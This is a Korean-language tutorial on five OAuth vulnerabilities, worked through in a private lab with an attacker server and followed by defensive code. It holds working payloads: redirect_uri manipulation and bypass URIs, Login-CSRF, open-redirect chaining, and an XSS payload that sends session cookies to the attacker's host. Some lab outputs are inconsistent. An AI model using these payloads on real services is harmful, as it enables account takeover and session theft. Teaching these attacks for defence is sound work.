OAuth Authentication Vulnerabilities

웹 서비스에서 "소셜 로그인"을 구현할 때 사용하는 OAuth 프로토콜은 구현 실수 하나로 계정 탈취, 권한 우회가 일어난다. 이 글에서는 OAuth 취약점 5가지를 단계별로 분류한 뒤 분석한다.

실습 시나리오

글 전체에서 아래 가상 환경을 기준으로 설명한다.

역할 도메인 (IP 주소) 설명
Authorization Server devvault.io (192.168.253.1:5000) 개발자 계정 플랫폼. 로그인·토큰 발급 담당
OAuth Client codecraft.io (192.168.253.1:5001) 개발자 강의 서비스. "devvault로 로그인" 기능 제공
공격자 서버 pwn.io (192.168.253.1:5002) 수신된 모든 요청을 /log에 기록

OAuth 흐름 이해

공격을 이해하려면 정상 흐름부터 파악해야 한다.

Authorization Code Grant

가장 널리 쓰이는 방식이다. 토큰이 브라우저를 거치지 않는다는 점이 핵심이다.

① 권한 부여 요청 — codecraft.io가 브라우저를 devvault.io로 리디렉션

사용자가 "devvault로 로그인" 버튼을 클릭하면 브라우저가 아래 URL로 이동한다.

GET /oauth/authorize
    ?client_id=codecraft_app_291
    &redirect_uri=https://codecraft.io/auth/callback
    &response_type=code
    &scope=profile%20email
    &state=f8a3c91b0e724d55
Host: devvault.io

각 파라미터의 역할과 공격 포인트:

파라미터 역할 공격 포인트
client_id 클라이언트 식별자 (공개값) 없음
redirect_uri 인증 후 이동할 URL 핵심 공격 대상
response_type code 고정 -
scope 요청할 권한 범위 XSS 페이로드 삽입 테스트
state CSRF 방지 난수 누락 시 Login-CSRF 발생

② 사용자 로그인 & 권한 동의 — 사용자 → devvault.io

devvault.io가 로그인 화면을 보여준다. 사용자가 자격증명을 입력하고 "권한 허용"을 누른다. codecraft.io는 이 단계에 관여하지 않는다. devvault.io와 사용자 사이에서만 일어난다.

③ code 전달 — devvault.io가 브라우저를 redirect_uri로 리디렉션

로그인 성공 후 devvault.io가 HTTP 302로 브라우저를 redirect_uri로 보낸다. code가 쿼리 파라미터에 실린다.

GET /auth/callback?code=7xKp2mNqRs9vTyWz&state=f8a3c91b0e724d55
Host: codecraft.io

code는 일회용 단기 토큰이다. 브라우저를 경유하지만 그 자체로는 리소스에 접근할 수 없고, client_secret과 함께 교환해야 access_token이 된다.

④ 토큰 교환 — codecraft.io 서버 → devvault.io 서버 (백채널)

브라우저가 /auth/callback에 도착하면 codecraft.io 서버가 devvault.io에 직접 요청한다. 브라우저를 거치지 않는다.

POST /oauth/token HTTP/1.1
Host: devvault.io

grant_type=authorization_code
&code=7xKp2mNqRs9vTyWz
&redirect_uri=https://codecraft.io/auth/callback
&client_id=codecraft_app_291
&client_secret=cs_sk_f3a9b1c04d2e7891

⑤ access_token 발급

{ "access_token": "dvt_acc_4Kp9mRs2TvNxQyWz", "expires_in": 3600 }

Implicit Grant (사용 금지)

code 교환 없이 URL 프래그먼트(#)에 토큰을 바로 담아 전달하는 구형 방식이다.

GET /auth/callback#access_token=dvt_acc_4Kp9mRs2TvNxQyWz&token_type=Bearer
Host: codecraft.io

# 뒤의 값은 브라우저 히스토리, Referer 헤더, 서버 로그에 그대로 남는다. OAuth 2.1에서 공식 제거됐다.

공격 1: redirect_uri 조작 → Authorization Code 탈취

취약점 원리

redirect_uri를 느슨하게 검증하면, 공격자가 이 값을 자신의 서버로 바꿔 피해자의 code를 가로챌 수 있다.

정상 요청에서 redirect_uri는 codecraft.io의 callback 주소다.

&redirect_uri=http://192.168.253.1:5001/callback   ← 원래 값
&redirect_uri=http://192.168.253.1:5002/steal      ← 공격자가 바꾼 값

devvault.io(C1)는 이 값을 검증하지 않기 때문에 어떤 주소로든 리디렉션된다.

Step 1 — 변조된 링크 생성

공격자는 redirect_uri만 바꾼 권한 부여 URL을 만든다.

http://192.168.253.1:5000/c1/auth
  ?client_id=codecraft_app_291
  &redirect_uri=http://192.168.253.1:5002/steal
  &response_type=code
  &scope=profile

이 URL을 피해자에게 전달한다. 피해자 입장에서 열면 평범한 devvault.io 로그인 화면이 뜬다.

Step 2 — 피해자 로그인 (브라우저로 확인)

위 URL을 브라우저에서 열고 alice / password123으로 로그인하면, devvault.io가 아래 주소로 리디렉션한다.

http://192.168.253.1:5002/steal?code=<발급된_code>

브라우저가 codecraft.io가 아닌 pwn.io로 이동하면서 code가 노출된다.

Step 3 — 탈취된 code 확인

curl http://192.168.253.1:5002/log
{
  "total": 5,
  "captured_codes": [
    {
      "id": 2,
      "time": "2026-06-22T14:40:51.759Z",
      "method": "GET",
      "path": "/steal",
      "query": {
        "code": "b446ca52dee8b69d3d15f214fa3115bb"
      },
      "referer": "http://192.168.253.1:5000/"
    }
  ]
}

Step 4 — code → access_token 교환

code를 확보한 공격자가 직접 토큰 교환 요청을 보낸다.

curl -s -X POST http://192.168.253.1:5000/oauth/token \
  -d "grant_type=authorization_code" \
  -d "code=930fb94c5a0b8f09e4970d28f6a0da095296c4d670c59fac" \
  -d "redirect_uri=http://192.168.253.1:5002/steal" \
  -d "client_id=codecraft_app_291" \
  -d "client_secret=cs_sk_f3a9b1c04d2e7891"
{"access_token":"930fb94c5a0b8f09e4970d28f6a0da095296c4d670c59fac","token_type":"Bearer","expires_in":3600}                                                                                                                                                                        

Step 5 — 피해자 계정으로 API 호출

curl http://192.168.253.1:5000/api/profile \
  -H "Authorization: Bearer 930fb94c5a0b8f09e4970d28f6a0da095296c4d670c59fac"
{"username":"alice","email":"alice@devvault.io","id":1001,"plan":"pro"}                                                                                                                                                                        

alice의 비밀번호도, 2FA도 없이 계정 정보를 획득했다.

검증 우회 기법

서버가 redirect_uricodecraft.io 도메인만 허용하더라도, 파서 차이를 이용해 우회할 수 있다.

# 서브도메인처럼 오판 유도
redirect_uri=https://codecraft.io.pwn.io/steal

# @ 앞을 자격증명으로 처리하는 파서 이용
redirect_uri=https://pwn.io@codecraft.io/steal

# URL 프래그먼트 추가 (서버 검증은 통과, 브라우저는 pwn.io로 이동)
redirect_uri=https://codecraft.io/callback#https://pwn.io/steal

# 쿼리 파라미터 중첩
redirect_uri=https://pwn.io/steal?dummy=https://codecraft.io

서버의 검증 로직과 브라우저의 URL 해석 방식이 달라지는 지점을 노린다.

공격 2: state 누락 → Login-CSRF

취약점 원리

state 파라미터는 선택 사항이지만, 없으면 OAuth callback 엔드포인트가 CSRF에 노출된다. 이를 Login-CSRF라고 한다. 피해자가 자신도 모르게 공격자의 계정으로 로그인되는 공격이다.

왜 위험한가: 피해자가 공격자 계정에 로그인된 상태로 신용카드를 등록하거나 파일을 업로드하면, 그 데이터가 공격자 손에 들어간다.

Step 1 — 공격자 계정으로 code 발급

공격자가 자신의 계정(attacker / attacker123)으로 OAuth 흐름을 시작해 code를 발급받는다. 단, 토큰 교환은 하지 않고 code만 가로챈다.

curl -s -D - -o /dev/null -X POST http://192.168.253.1:5000/c2/auth \
  -d "client_id=codecraft_app_291" \
  -d "redirect_uri=http://192.168.253.1:5001/callback" \
  -d "scope=profile" \
  -d "username=attacker" \
  -d "password=attacker123" \
  | grep -i "location:"
Location: http://192.168.253.1:5001/callback?code=2229a54a471f122f3235cf3324249891

Step 2 — 피해자에게 악성 URL 전달

공격자가 위에서 받은 code를 담은 callback URL을 피해자에게 보낸다.

http://192.168.253.1:5001/callback?code=2229a54a471f122f3235cf3324249891

피해자가 이 URL을 클릭하면 codecraft.io가 공격자의 code로 토큰 교환을 수행한다. 피해자 세션이 공격자 계정(attacker)에 연결된다.

Step 3 — 결과 확인

브라우저에서 피해자가 해당 URL을 방문한 뒤 http://192.168.253.1:5001을 확인하면 attacker 계정으로 로그인된 상태가 표시된다.

사용자명: attacker
이메일: attacker@devvault.io

state가 막는 방법

OAuth 흐름 시작 시 state 난수를 세션 쿠키에 저장하고, callback 수신 시 비교한다.

[정상]  쿠키 state=f8a3c91b0e724d55  ↔  URL state=f8a3c91b0e724d55  → 일치 → 처리
[공격]  쿠키 state=f8a3c91b0e724d55  ↔  URL state 없음 또는 다른 값  → 불일치 → 거부

공격자는 피해자의 쿠키를 알 수 없으므로 올바른 state를 위조할 수 없다.


공격 3: OAuth 동의 페이지 XSS

취약점 원리

권한 부여 요청의 파라미터(scope, state, client_id)가 동의 화면이나 오류 페이지에 이스케이프 없이 출력되면 Reflected XSS가 발생한다. devvault.io(C3)는 scope 값을 HTML에 그대로 삽입한다.

Step 1 — 취약 여부 확인 (curl)

curl -s "http://192.168.253.1:5000/c3/auth\
?client_id=codecraft_app_291\
&redirect_uri=http://192.168.253.1:5001/callback\
&response_type=code\
&scope=<script>alert(1)</script>" \
| grep -A1 "scope-box"
<div class="scope-box"><script>alert(1)</script></div>

페이로드가 이스케이프 없이 HTML에 삽입된 것을 확인할 수 있다.

Step 2 — 브라우저로 직접 확인

아래 URL을 브라우저에서 열면 동의 화면이 로드되는 순간 alert 팝업이 뜬다.

http://192.168.253.1:5000/c3/auth?client_id=codecraft_app_291&redirect_uri=http://192.168.253.1:5001/callback&response_type=code&scope=<img src=x onerror=alert(document.cookie)>

Step 3 — 실전 쿠키 탈취 시나리오

단순 alert 대신 pwn.io로 쿠키를 전송하는 페이로드를 사용한다.

scope=<script>fetch('http://192.168.253.1:5002/steal?c='+document.cookie)</script>

피해자가 이 URL을 열면 devvault.io의 세션 쿠키가 pwn.io로 전송된다.

# 수신 확인
curl http://192.168.253.1:5002/log
{"total":6,"captured_codes":[{"id":2,"time":"2026-06-22T14:40:51.759Z","method":"GET","path":"/steal","query":{"code":"b446ca52dee8b69d3d15f214fa3115bb"},"referer":"http://192.168.253.1:5000/"}]}                                                                                                                                                                        

OAuth 동의 페이지의 XSS는 단순 XSS보다 위험하다. 피해자가 로그인 동의 버튼을 클릭하는 순간 스크립트가 실행되면서 세션 쿠키와 OAuth 흐름이 동시에 탈취된다.


공격 4: Open Redirect + redirect_uri 체이닝

취약점 원리

redirect_uri 검증이 도메인 단위로만 이루어지고, 허용된 도메인 내에 Open Redirect가 존재하면 두 취약점을 연결(체이닝)해 code를 탈취할 수 있다.

devvault.io(C4)는 redirect_uri가 http://192.168.253.1:5001로 시작해야 한다고 검증한다. 직접 pwn.io를 넣으면 막힌다. 하지만 codecraft.io에 /go?url= Open Redirect가 있다.

Step 1 — 직접 공격이 막히는 것 확인

curl -s "http://192.168.253.1:5000/c4/auth\
?client_id=codecraft_app_291\
&redirect_uri=http://192.168.253.1:5002/steal\
&response_type=code\
&scope=profile"
오류: 허용되지 않은 redirect_uri
redirect_uri는 http://192.168.253.1:5001 로 시작해야 합니다.

Step 2 — 체이닝 redirect_uri 구성

codecraft.io의 /go 엔드포인트를 경유지로 사용한다.

redirect_uri = http://192.168.253.1:5001/go?url=http://192.168.253.1:5002/steal

이 값은 http://192.168.253.1:5001로 시작하므로 devvault.io 검증을 통과한다.

Step 3 — 체이닝 공격 실행 (브라우저)

아래 URL을 브라우저에서 열고 alice / password123으로 로그인한다.

http://192.168.253.1:5000/c4/auth?client_id=codecraft_app_291&redirect_uri=http://192.168.253.1:5001/go?url=http://192.168.253.1:5002/steal&response_type=code&scope=profile

리디렉션 체인:

devvault.io → codecraft.io/go?url=pwn.io/steal&code=XYZ
           → codecraft.io/go가 pwn.io/steal?code=XYZ 로 전달
           → pwn.io가 code 수신

Step 4 — 탈취된 code 확인 및 토큰 교환

curl http://192.168.253.1:5002/log
# → code 확인

curl -s -X POST http://192.168.253.1:5000/oauth/token \
  -d "grant_type=authorization_code" \
  -d "code=<확인한_code>" \
  -d "redirect_uri=http://192.168.253.1:5001/go?url=http://192.168.253.1:5002/steal" \
  -d "client_id=codecraft_app_291" \
  -d "client_secret=cs_sk_f3a9b1c04d2e7891"

redirect_uri 검증이 있어도 도메인 내부의 Open Redirect 하나가 우회로가 된다.


공격 5: 악성 OAuth 클라이언트 등록

취약점 원리

플랫폼이 외부 앱의 OAuth 클라이언트 등록을 허용할 때, 공격자가 과도한 scope를 요청하는 악성 앱을 만들어 피해자를 유인할 수 있다.

공격 방법

정상 앱 동의 화면: "codecraft.io가 프로필·이메일 읽기 권한을 요청합니다"
악성 앱 동의 화면: "devtools-helper가 프로필·이메일·저장소 쓰기 권한을 요청합니다"

피해자가 동의하면 공격자 앱이 access_token을 획득한다. 서버가 aud(audience) 클레임을 검증하지 않으면 이 토큰을 다른 서비스에서도 재사용할 수 있다.

실전 확인 포인트

  • 써드파티 앱 연동 페이지에서 요청 scope가 필요 이상으로 넓은지 확인
  • 앱 이름이 공식 앱처럼 위장하지 않는지 확인 (타이포스쿼팅)
  • 연동 해제 후에도 발급된 토큰이 유효한지 확인

대응 방안

redirect_uri — 완전 일치 검증

접두사·와일드카드 검증은 우회된다. 등록된 값과 정확히 일치해야만 허용해야 한다.

REGISTERED_URIS = {
    "codecraft_app_291": [
        "https://codecraft.io/auth/callback",
        "https://codecraft.io/oauth/return"
    ]
}

def validate_redirect_uri(client_id: str, uri: str) -> bool:
    allowed = REGISTERED_URIS.get(client_id, [])
    return uri in allowed  # 완전 일치만 허용

state — 세션 바인딩

import secrets

def start_oauth(session):
    state = secrets.token_hex(16)
    session["pending_oauth_state"] = state
    return state

def handle_callback(request, session):
    expected = session.pop("pending_oauth_state", None)
    received = request.args.get("state")

    if not expected or expected != received:
        abort(403)

    # 이후 code 교환 진행

PKCE — 모바일·SPA 환경

client_secret을 안전하게 보관할 수 없는 환경에서 사용한다. code가 탈취돼도 토큰 교환이 불가능해진다.

# 1. code_verifier 생성 (랜덤 문자열)
CODE_VERIFIER=$(openssl rand -base64 32 | tr -d '=+/' | cut -c1-43)

# 2. code_challenge = BASE64URL(SHA256(code_verifier))
CODE_CHALLENGE=$(printf '%s' "$CODE_VERIFIER" \
  | openssl dgst -sha256 -binary \
  | openssl base64 | tr '+/' '-_' | tr -d '=')

# 3. 권한 부여 요청에 포함
#    ?code_challenge=XXX&code_challenge_method=S256

# 4. 토큰 교환 시 code_verifier 함께 전송 → 서버가 검증

기타 체크리스트

  • Implicit Grant 비활성화 (allowedGrantTypes: ['authorization_code'])
  • scope 최소 권한 원칙 적용
  • 동의 화면 출력값 HTML 이스케이프 처리
  • 연동 해제 시 발급된 토큰도 즉시 무효화